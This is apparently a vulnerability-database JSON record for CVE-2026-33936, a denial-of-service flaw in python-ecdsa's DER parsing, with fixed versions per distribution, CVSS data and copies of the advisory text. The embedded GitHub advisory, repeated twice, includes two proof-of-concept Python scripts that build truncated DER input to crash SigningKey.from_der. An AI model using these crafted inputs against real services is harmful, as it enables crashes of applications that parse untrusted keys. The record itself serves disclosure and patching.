{"id":"CVE-2026-33936","aliases":["AZL-80975","DEBIAN-CVE-2026-33936","EUVD-2026-16856","GHSA-9f5j-8jwj-x28g","OESA-2026-1828","OESA-2026-1829","OESA-2026-1836","OESA-2026-1837","OESA-2026-1838","OESA-2026-1839","PYSEC-2026-2467","ROOT-APP-PYPI-CVE-2026-33936","SUSE-SU-2026:1436-1","SUSE-SU-2026:1608-1","SUSE-SU-2026:22158-1","UBUNTU-CVE-2026-33936","openSUSE-SU-2026:10468-1","openSUSE-SU-2026:21078-1"],"status":"published","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00485,"percentile":0.42069,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-130","CWE-20"],"published":"2026-03-27T15:56:01Z","modified":"2026-10-28T02:31:07Z","exploits":[{"source":"pocgithub","id":"0xmrma/CVE-2026-33936","title":"0xmrma/CVE-2026-33936","date":"2026-04-02","url":"https://github.com/0xmrma/CVE-2026-33936"}],"fixes":[{"ecosystem":"PyPI","package":"ecdsa","fixed_in":["0.19.2"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"python-ecdsa","fixed_in":["0.19.2-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-ecdsa","fixed_in":["0.19.1-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-ecdsa","fixed_in":["0.19.2-1"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP4","package":"python-ecdsa","fixed_in":["0.16.1-2.oe2003sp4"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"python-ecdsa","fixed_in":["0.17.0-4.oe2203sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP2","package":"python-ecdsa","fixed_in":["0.18.0-3.oe2403sp2"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-ecdsa","fixed_in":["0.18.0-3.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"python-ecdsa","fixed_in":["0.18.0-3.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-ecdsa","fixed_in":["0.18.0-3.oe2403sp1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"ecdsa","fixed_in":["0.19.1+aikido.4","0.19.1+aikido.5"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-ecdsa","fixed_in":["0.19.1+root.io.1","0.19.1+root.io.2"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-ecdsa","fixed_in":["0.18.0-150400.12.6.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"python-ecdsa","fixed_in":["0.18.0-150400.12.6.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"python-ecdsa","fixed_in":["0.13.3-150000.3.10.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-ecdsa","fixed_in":["0.19.1-160000.4.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-ecdsa","fixed_in":["0.19.1-160000.4.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-ecdsa","fixed_in":["0.19.2-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-ecdsa","fixed_in":["0.19.1-160000.4.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.0-3","0.18.0-4","0.18.0-5","0.19.0-1","0.19.0-2","0.19.1-1","0.19.2-1","0.19.2-2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1-1+deb13u1"}]}],"versions":["0.19.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2-1"}]}],"versions":["0.19.1-1"]},{"source":"osv","ecosystem":"PyPI","package":"ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2"}]}],"versions":["0.10","0.11","0.12","0.13","0.13.1","0.13.2","0.13.3","0.14","0.14.1","0.15","0.16.0","0.16.1","0.17.0","0.18.0","0.18.0b1","0.18.0b2","0.19.0","0.19.1","0.6","0.7","0.8","0.9"]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.16.1-2.oe2003sp4"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.17.0-4.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-3.oe2403sp2"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-3.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-3.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-3.oe2403sp1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2"}]}],"versions":["0.10","0.11","0.12","0.13","0.13.1","0.13.2","0.13.3","0.14","0.14.1","0.15","0.16.0","0.16.1","0.17.0","0.18.0","0.18.0b1","0.18.0b2","0.19.0","0.19.1","0.6","0.7","0.8","0.9"]},{"source":"osv","ecosystem":"Root:PyPI","package":"ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1+aikido.4"},{"fixed":"0.19.1+aikido.5"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1+root.io.1"},{"fixed":"0.19.1+root.io.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-150400.12.6.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.18.0-150400.12.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.13.3-150000.3.10.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1-160000.4.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1-160000.4.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13-2","0.13-2ubuntu0.16.04.1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13-2","0.13-2ubuntu0.18.04.1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13.2-2","0.13.3-1","0.14.1-1","0.14.1-1ubuntu2","0.15-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.16.1-1","0.18.0~b1-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.0-3","0.18.0-4","0.18.0-5"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.1-1","0.19.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.1-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.2-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-ecdsa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1-160000.4.1"}]}]}],"products":[{"vendor":"tlsfuzzer","product":"ecdsa"},{"vendor":"tlsfuzzer","product":"python-ecdsa"}],"references":[{"url":"https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2","tags":["x_refsource_MISC","Product","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33936","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-9f5j-8jwj-x28g","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33936.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33936","tags":["advisory"]},{"url":"https://github.com/tlsfuzzer/python-ecdsa","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1828","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1829","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1836","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1837","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1838","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1839","tags":["advisory"]},{"url":"https://pypi.org/project/ecdsa","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261436-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1261009","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33936","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261608-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622158-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-33936","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33936","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-33936","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T22:08:22.868Z","modified":"2026-04-01T13:44:46.297Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-20","CWE-130"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-16856","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T22:08:22Z","modified":"2026-04-01T13:44:46Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T19:25:24.493801Z"}],"ghsa":[{"id":"GHSA-9f5j-8jwj-x28g","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -\u003e 4096 bytes\n# Actual body: only 3 bytes -\u003e truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L \u003e= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible \u003c= 10:\n            continue\n\n        # Claim more bytes than exist -\u003e truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)","status":"published","published":"2026-03-27T15:56:01Z","modified":"2026-03-30T20:17:12Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-20","CWE-130"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2026-33936","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T23:17:13.733Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-20","CWE-130"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33936","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T22:08:22.868Z","modified":"2026-10-28T02:31:07.831339072Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-130","CWE-20"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"DEBIAN-CVE-2026-33936","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T23:17:13.733Z","modified":"2026-10-27T10:00:58.604650606Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-9f5j-8jwj-x28g","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -\u003e 4096 bytes\n# Actual body: only 3 bytes -\u003e truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L \u003e= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible \u003c= 10:\n            continue\n\n        # Claim more bytes than exist -\u003e truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)","status":"published","published":"2026-03-27T15:56:01Z","modified":"2026-09-10T03:51:00.142533331Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-130","CWE-20"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"OESA-2026-1828","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-03T11:10:51Z","modified":"2026-08-18T01:19:46.912521549Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-1829","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve 